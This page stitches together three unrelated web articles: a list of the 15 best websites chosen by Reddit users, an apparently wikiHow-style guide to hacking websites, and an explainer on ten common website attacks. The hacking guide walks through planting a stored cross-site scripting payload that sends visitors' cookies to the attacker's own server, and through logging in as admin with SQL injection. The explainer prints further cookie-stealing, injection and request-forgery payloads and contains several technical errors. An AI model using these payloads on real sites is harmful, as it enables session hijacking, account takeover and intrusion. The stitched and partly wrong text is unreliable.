The Top Best 15 Website

BY FRAN BERKMAN

Unraveling the ever-changing World Wide Web to find the very best sites can be a daunting and time consuming task. Or, you could just ask Reddit.

That's what one Redditor did Thursday, posing to the rest of the community the question, "What is the best website other than Reddit?"

SEE ALSO: The 100 Most Beautiful Songs in the World, According to Reddit

Commenters sprang into action posting thousands of comment replies, naming sites that run the gamut from arcane to whimsical. Below, we've compiled a list of the 15 comments with the highest number of points (calculated by subtracting the comment's downvotes from its upvotes).

Please note that the list may change as more people chime in with their opinions. Also, we've only included websites from comments replying directly to the original poster, not comments replying to other comments.

1. Wikipedia

If you don't know what Wikipedia is by now, perhaps you should check theWikipedia page for it. Then, prepare for a trip down the rabbit hole of cross-linked, Internet-compiled knowledge.

2. Multiple Submissions

Redditor "kinkyroach" compiled a diverse list of nifty sites and provided a short description for each one.

Snapzu - Reddit competitor with good articles
The Oatmeal - Comics/Articles
GrooveShark - Music discovery
Wallbase – Wallpapers
WolframAlpha - Computational knowledge engine
How Stuff Works - Random articles about how things work
Sporcle - Geography quizzes and puzzles
Twitch.tv - Live gaming broadcasts
RetailMeNot - Coupons
ReadItLater - Save pages to read later
Tineye - Reverse image search
Wikivoyage - Travel guide
BugMeNot - Find/Share login/passwords to avoid signing up
Dropbox - File hosting
TheFinalCost - Calculate Shipping totals
Imgur - Best image hosting
DummyImage - Create dummy images of any format
VectorMagic - Create vectors from any image
Wikipedia - The web encyclopedia
Readability - Make articles easier to read
FaxZero – Send/Receive faxes through email

3. Wolfram|Alpha

Don't call it a search engine. WolframAlpha describes itself as a "computational knowledge engine." Ask it a fact-based question, and it pores through its vast knowledge base for a fact-based answer.

4. Netflix

This streaming media and DVD-by-mail website has revolutionized the entertainment industry. It's the premier site if you're looking for on-demand movies, documentaries or a binge-watching marathon of that TV series you were always hoping to watch.

5. Pornhub

This is one of the most popular sites on the Internet for pornography. Pornhub even recently launched an "Insights" blog (safe for work) where it provides charts and graphics on how events such as the government shutdown, holidays and income level affect affect porn viewing.

6. Snopes.com

Check your assumptions at the door. The goal of this site is to debunk misinformation, quell rumors and set the record straight. Barbara and David Mikkelson, a couple from California, have owned and operated Snopes.com since 1995.

7. Zombo

A site for limitless possibilities or one of the web's most bizarre inside jokes? You decide.

8. PrimeWire.ag

A website that hosts pirated media, the commenter who posted about PrimeWire on Reddit described it as a site where you can watch "pretty much any movie or TV series you can think of streaming free." If you Google "PrimeWire," however, you'll find this copyright infringement notification against the site.

9. KickassTorrents

A site for peer-to-peer file sharing that one Redditor described as, "Seriously the best organised and the cleanest looking torrent site I can think of. My go to for any [movie]/TV show."

10. The Nicest Place on the Internet

If you're having a bad day, you might want to pay a visit to this site.

11. Kickstarter

Kickstarter is the king of crowdfunding. It's a site where any entrepreneur with a good idea can appeal to the masses for contributions large and small to help get that idea off the ground.

12. Kongregate

Proceed with extreme caution or watch your productivity evanesce. This site, by its own count, features nearly 80,000 free online games.

13: Find the Invisible Cow

This is a fun take on the "you're getting warmer/you're getting colder" genre with a bovine payoff. In the game, a voice shouts "cow" with increasing fervor as you move your cursor closer to the invisible cow.

14. Motherfuckingwebsite.com

A profanity-laced piece of satire for the digital age, this site is a must-read for anyone who has ever designed a website.

15. TV Tropes

This site describes itself as a "catalog of the tricks of the trade for writing fiction." It started in 2004 aimed at covering TV but later expanded to cover other forms of media such as literature, video games, comic books, theater, music and more.

Scroll through the entire Reddit thread's thousands of comments for more great websites that did not make it into the top 15.

Have something to add to this story? Share it in the comments.

4 Basic ways How to Hack a Website

Using Cross Site ScriptingExecuting Injection AttacksSetting Up for SuccessSample Cookie Catcher Code

Edited by Teresa, Anonymo, Puddy, Blizzerand and 29 others

Please Note: This 'How To' is strictly for educational purposes only, either to help people begin to learn whitehat hacking or to see how hackers work in order to protect their own sites better. This tutorial will provide you with the steps on how to gain access to many low security websites.

Method 1 of 3: Using Cross Site Scripting

1. 1
   Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is secure then this will not work.
   Ad
2. 2
   Go to create a post. You will need to type some special code into the “post” which will capture the data of all who click on it.
   • You’ll want to test to see if the system filters out code. Post <script...>alert(“test”)</...script> (but remove the “…”). If an alert box appears when you click on your post, then the site is vulnerable to attack.
3. 3
   Create and upload your cookie catcher. The goal of this attack is to capture a user’s cookies, which allows you access to their account for websites with vulnerable logins. You’ll need a cookie catcher, which will capture your target’s cookies and reroute them. Upload the catcher to a website you have access to and that supports php. An example cookie catcher code can be found in the sample section.
4. 4
   Post with your cookie catcher. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted.
   • An example code would look like <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location=”YOURURL/cookiecatcher.php?c=”+document.cookie)><.../iframe> (but remove the ...).
5. 5
   Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

Method 2 of 3: Executing Injection Attacks

1. 1
   Find a vulnerable site. You will need to find a site that is vulnerable, due to an easily accessible admin login. Try searching Google for admin login.asp.
2. 2
   Login as an admin. Type admin as the username and use one of a number of different strings as the password. These can be any one of a number of different strings but a common example is 1’or’1’=’1.
3. 3
   Be patient. This is probably going to require a little trial and error.
4. 4
   Access the website. Eventually, you should be able to find a string that allows you admin access to a website, assuming the website is vulnerable to attack.

10 MOST POPULAR WAYS HACKERS HACK YOUR WEBSITE

Pop quiz: what does Microsoft, Twitter, Facebook, NBC, ZenDesk, and Drupal all have in common?

They’ve all been recently hacked.

Yes, hacking is a growing threat for every business both large and small.

Whether it’s stealing private data, taking control of your computer, or shutting down your website, hackers can seriously impact any business, at any time.

Hackers can attack in so many ways, but here’s the ten most popular ways they can threaten the security of your site, and your business:

10.  INJECTION ATTACKS

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or “injections”, unknowingly.

In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data.

TECHNICAL INJECTION ATTACK EXAMPLE:

An Injection Attack could have this command line:

String query = “SELECT * FROM accounts WHERE custID=’” + request.getParameter(“id”) +”‘”;

The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ’1′=’1. This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

9.  CROSS SITE SCRIPTING ATTACKS

Cross Site Scripting, also known as an XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate.

For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info.

TECHNICAL CROSS SITE SCRIPTING EXAMPLE:

A more technical example:

(String) page += “<input name=’creditcard’ type=’TEXT’ value=’” + request.getParameter(“CC”) + “‘>”;

The attacker modifies the ‘CC’ parameter in their browser to:

‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’

This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session.  That means the hacker has access to the website admin credentials and can take complete control over it.  In other words, hack it.

8. BROKEN AUTHENTICATION AND SESSION MANAGEMENT ATTACKS

If the user authentication system of your website is weak, hackers can take full advantage.

Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid).

If a hacker exploits the authentication and session management system, they can assume the user’s identity.

Scary indeed.

Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:

• Are user credentials weak (e.g. stored using hashing or encryption)?
• Can credentials be guessed or overwritten through weak account management functions (e.g. account creation, change password, recover password, weak session IDs)?
• Are session IDs exposed in the URL (e.g. URL rewriting)?
• Are session IDs vulnerable to session fixation attacks?
• Do session IDs timeout and can users log out?

If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

7. CLICKJACKING ATTACKS

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing.

Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be.

For example, using a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker.

CLICKJACKING EXAMPLE:

Here’s a live, but safe example of how clickjacking works:

http://attacker.kotowicz.net/alphabet-hero/game.html

And here’s a video that shows how we helped Twitter defend against a Clickjacking attack:

6. DNS CACHE POISONING

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic”.

Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server.

This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path.

In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

5. SOCIAL ENGINEERING ATTACKS

A social engineering attack is not technically a “hack”.

It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website.

The problem, of course, is that you’re not getting into what you think you’re getting into.

A classic example of a social engineering attack is the “Microsoft tech support” scam.

This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course.

Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

4. SYMLINKING – AN INSIDER ATTACK

A symlink is basically a special file that “points to” a hard link on a mounted file system.  A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not.

If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions.

In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

3. CROSS SITE REQUEST FORGERY ATTACKS

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information.

In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account.  This is why websites ask you to log out of your account when you’re finished – it will expire the session immediately.

In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker.

A CROSS SITE ATTACK EXAMPLES

Here’s an example:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

<img src=”<span style=”color: red;”>http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />

In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

2. REMOTE CODE EXECUTION ATTACKS

A Remote Code Execution attack is a result of either server side or client side security weaknesses.

Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information.

The following vulnerable components were downloaded 22 million times in 2011:

Apache CXF Authentication Bypass (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)

By failing to provide an identity token, attackers could invoke any web service with full permission.

1. DDOS ATTACK – DISTRIBUTED DENIAL OF SERVICE ATTACK

DDoS, or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users.

And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage.

It’s kind of like having your car stolen when you really need to get somewhere fast.

The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system.

The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time.  This causes bottlenecking at the server side because the CPU just ran out of resources.

Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.